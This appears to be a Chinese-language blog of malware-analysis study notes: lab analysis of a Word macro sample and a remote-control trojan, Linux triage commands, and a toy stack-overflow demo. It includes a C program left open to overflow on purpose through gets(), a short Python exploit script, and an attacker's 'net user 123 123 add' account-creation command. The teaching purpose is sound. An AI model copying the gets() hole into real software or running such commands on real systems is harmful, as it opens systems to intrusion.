文章内容只是分享自己的知识库,仅代表自己的理解,不一定准确,希望大家在观看时只是参考,思维不要受其限制。
实用说明
根据之前所学的静态和动态分析技术对测试样本进行分析。
word宏病毒
Surface layer
- 在下载文件途中打开外部地址
- 打开 word 文档后,发现计算器程序处于打开状态(此处代表恶意行为)
监测
- 网络监测
分析:
- 启动程序-WINWORD.EXE *64位
请求地址-http:192.168.86[.]144/
响应服务–由 python3 的 SimpleHTTPServer 模块打开的网络服务
请求文件http://192.168.86.144/word.cab cab 是 windows 的压缩格式,用 7-z 来解压缩
- 行为监测
查找打开 word 文件的主程序
任务管理器: - 与网络监控相同的进程树,供启动程序查看执行流程:
- 分析
正常:只是打开一个Word文档 可疑:控制面板程序 control.exe 被调用 控制面板会在临时文件夹中执行名为 msword.inf 的配置文件,然后通过运行 cmd 程序(本例中为恶意程序)打开计算器程序 calc.exe
本身
- 7-z查看word文档
- 找到了访问可疑地址的方法
- 结合之前的网络分析,访问该地址,然后跳转下载可疑文件
已下载的文件
- 解压下载的文件
- 可以直接打开并解压缩(也可以 7-z 解压缩,效果相同,但解压缩后的大小不同),然后找到执行控制面板程序的配置文件 msword.inf
- 运行测试
- 成功执行,验证恶意代码已被文件加载
- 字符串浏览
使用 cutter 查看下载的 word.cab 文件 - 查看计算器相关内容(此处的 calc.exe 代表恶意程序)
- 调试监测
关键功能已运行,恶意程序已成功加载essential call: 00007FF67F1128E3 | E8 C8F4FFFF | call control.7FF67F111DB0 |
- 前往查看(已加载恶意配置文件)
- ShellExecuteExW 函数(通常可使用该函数执行外部程序或打开文件)
rundll32.exe(rundll32.exe 用于在内存中运行 DLL 文件,它们将在应用程序中使用,可用于在内存中执行恶意 dll)
-
*cmd,*bat //这里的 dos 环境已经准备就绪 00007FFDF9DD11ED | 48:8D15 94DA4800 | lea rdx,qword ptr ds:[7FFDFA25EC88] | rdx:L"*.CMD;*.BAT", 00007FFDFA25EC88:L"*.CMD;*.BAT" 00007FFDF9DD11F4 | 48:8BC8 | mov rcx,rax | rax:L"rundll32.exe"
- syscall (该系统调用完成运行并加载恶意配置文件,以便运行 dos 环境启动计算程序,此处为恶意程序 syscall:表示系统调用)
- 反汇编定位器:常量字符 命令启动 calc.exe
定位技巧:字符串搜索关键信息,然后双击进入拆解页面查看
调试器跟踪并监控同一运行进程。
远程控制病毒
运行
- 测试机,发现可疑进程
-
在模块列表中看到了 RPCRT4.DLL 文件描述:远程程序调用运行时 在 explorer.exe 进程树下 判断:可疑模块,一般程序只有在有远程要求的情况下才会加载,当前测试机没有已知远程,test.exe加载此模块不正常,因此在explorer.exe进程树中判断用户启动进程。
- 攻击机已经控制了测试机
- 进程树
找到可疑程序的位置,运行并监控它以查看进程树 -
测试调用某些程序 ipconfig.exe:(运行以下命令:ipconfig,解析查询当前 IP 的行为)ipconfig.exe:(运行以下命令:ipconfig,解析查询当前 IP 的行为) whoami.exe:(运行以下命令:whoami,通过行为解析显示登录用户信息) net.exe:(运行以下命令:net user 123 123 add,行为解析为创建账户行为)
- 此时可以确定 test.exe 执行了恶意行为
- 网络溯源
经常外联到此 IP:192.168.86[.]114 初步确定为攻击者使用的 IP
定位和分析
查找程序并加载分析工具进行分析
- VirtualAlloc 函数
用于请求内存空间的 Windows API 函数 - ExitProcess 函数
Windows API 函数,用于结束调用进程及其所有线程。 - 功能
该调用将调用 syscall 向攻击机器发送网络数据call:00007FF8054B2A59 | 48:FF15 301F0500 | call qword ptr ds:[<&NtDeviceIoControlF | Go to call: 00007FF8086CCEF0 | 4C:8BD1 | mov r10,rcx | 00007FF8086CCEF3 | B8 07000000 | mov eax,7 | 00007FF8086CCEF8 | F60425 0803FE7F 01 | test byte ptr ds:[7FFE0308],1 | 00007FF8086CCF00 | 75 03 | jne ntdll.7FF8086CCF05 | 00007FF8086CCF02 | 0F05 | syscall | NtDeviceIoControlFile 功能解析:为提供的缓冲区构建描述符,并将未键入的数据传递给与文件句柄关联的设备驱动程序。
Linux 病毒检测
网络相关
- ifconfig命令
如果发送的数据过大,或接收到的数据与发送的数据比较差异过大(没有下载数据),则可疑,需要进一步调查。RX 数据包 // 接收到的数据包数量 TX 数据包 // 发送的数据包数 接收字节数 // 接收到的字节数 发送字节数 // 发送的字节数
-
nethogs 命令(正常情况下需要安装)
列出进程的网络状态开发网卡 发送 收到
- 参见流程 1 发送和接收数据,参见详情
- top命令
查询指定进程的资源使用情况top -p 7132 //7132 代表进程 pid
- 起初,监控资源占用率并不高,但到了后期,监控资源逐渐被过度占用,这可能是因为远程控制木马驻留,然后接收指令执行攻击,例如:搜索指定文件
- 按 PID 查找进程路径
cd /proc/7132 //7132 是进程 pid ls -ail //exe 对应的是可执行路径信息 其他知识: Linux 系统中的 /proc 目录是一个文件系统,即 proc 文件系统。与其他常见的文件系统不同,/proc 是一个伪文件系统(即虚拟文件系统),它存储了一系列有关当前内核状态的特殊文件,用户可以通过这些文件查看系统硬件和当前运行进程的信息,甚至可以通过更改其中一些文件来改变内核状态。 ls -ail [目录名]: 打印当前/指定目录下的目录文件 综合查询: ls -ail /proc/7132 如果您没有 root 权限,某些信息将不可用,例如会显示以下信息: ls: Unable to read symbolic link '/proc/7132/cwd': insufficient permissions ls: Unable to read symbolic link '/proc/7132/root': insufficient permissions ls: Unable to read symbolic link '/proc/7132/exe': Insufficient permissions
- 猜测状态查询外联IP
netstat -na|grep ESTABLISHED
- 按端口回溯进程
netstat -nap | grep 47074
- 根据 pid 查看进程内存
pmap -d 3885
- 根据 pid 关闭进程
kill -HUP 3885
利用程序溢出漏洞
这是一个基于存在溢出漏洞的程序的简单模拟攻击程序。
浅析攻击程序的利用思想及溢出漏洞的产生。
源代码分析
存在缓冲区漏洞程序源代码。
注:修改自STACK1_VS_2017.cpp
工具链:Mingw
#include <stdlib.h>
#include <stdio.h>
#include "Windows.h"
int main(int argc, char **argv) {
MessageBoxA((HWND)-0, (LPCSTR) "检测程序是否正常运行\n", (LPCSTR)"功能", (UINT)0);
int cookie;
char buf[2];
int *a = &cookie;
char *b = buf;
printf("buf: %08x cookie: %08x\n", b, a);
u_int64 p =(u_int64)a-(u_int64)b;
printf("程序正常运行,存在缓存区溢出漏洞,其中两变量内存地址之差=%d:\n注意:若超过此值则缓冲区溢出\n",p);
gets(buf);
if (cookie == 0x41424344)
printf("缓冲区溢出,已被成功利用此漏洞,隐藏信息已显示,请排查\n");
}
根据源代码,如果 gets 函数得到的数据是 **DCBA(*通配符,如 11DCBA,字符串 DCBA 的十六进制值是 44434241,因为在堆栈中读写数据的顺序是先进后出,所以真正的调用是 ABCD),则证明该程序的缓冲区溢出漏洞被利用,并显示了隐藏信息(根据代码逻辑,程序的正常运行不满足显示该隐藏信息的条件)。
造成缓冲区漏洞的原因是 buf 应用程序缓冲区大小为 2,而且该缓冲区不受保护,因为它是通过 gets 获取的,如果获取的数据超过 2,缓冲区就会溢出。
攻击利用代码
import sys
from subprocess import Popen, PIPE
payload = b"A" * 2 + b"\x44\x43\x42\x41"
p1 = Popen(r"C:\Users\用户名\Desktop\test\cmake-build-debug\test.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()
效果:缓冲区溢出成功,通过输入特定代码读取隐藏消息
监测:procexp64
Procmon64
找到要使用的脚本 test.py
拆解分析
运行到模块值:test.exe
入口断点断开,未见泄露信息相关内容,字符串搜索快速定位漏洞函数代码块
注意:为了使可执行文件正常运行和启动,编译器会添加大量代码。因此,第一个入口函数断点通常不会断开到主函数
反编译器对照检索:MapoAnalyzer
Snowman
跟踪分析: 输入字符串时,在堆栈窗口中看到两个变量相邻
根据反编译结果分析,输入字符串的值是对应 buf 变量的值,而现在 cookie 对应的也有一个值,分析数据溢出,导致 cookie 对应地址有一个值并为输入值减二,即 DCBA,如下图所示:
00000000004015E1 | 8B45 E4 | mov eax,dword ptr ss:[rbp-1C] |
00000000004015E4 | 3D 44434241 | cmp eax,41424344 |
00000000004015E9 | 75 0C | jne test.4015F7 |
00000000004015EB | 48:8D0D A67A0000 | lea rcx,qword ptr ds:[409098] | 0000000000409098:"缓冲区溢出,已被成功利用此漏洞,隐藏信息已显示,请排查\n"
00000000004015F2 | E8 49630000 | call <test.begin of _Z6printfPKcz> |
你可以看到输入
字符串已满足条件,但跳转不成功,从而检索到隐藏信息,并进行扩展分析:
gets函数
网络来源:gets 可以无限读取而不判断上限,也就是说,gets 函数不检查缓冲区的大小,事实上它也无法检查缓冲区的空间。
结合分析结果,由于程序使用 get 函数获取输入数据,因此存在溢出漏洞,程序会根据此漏洞隐藏某些字符。
暂无评论内容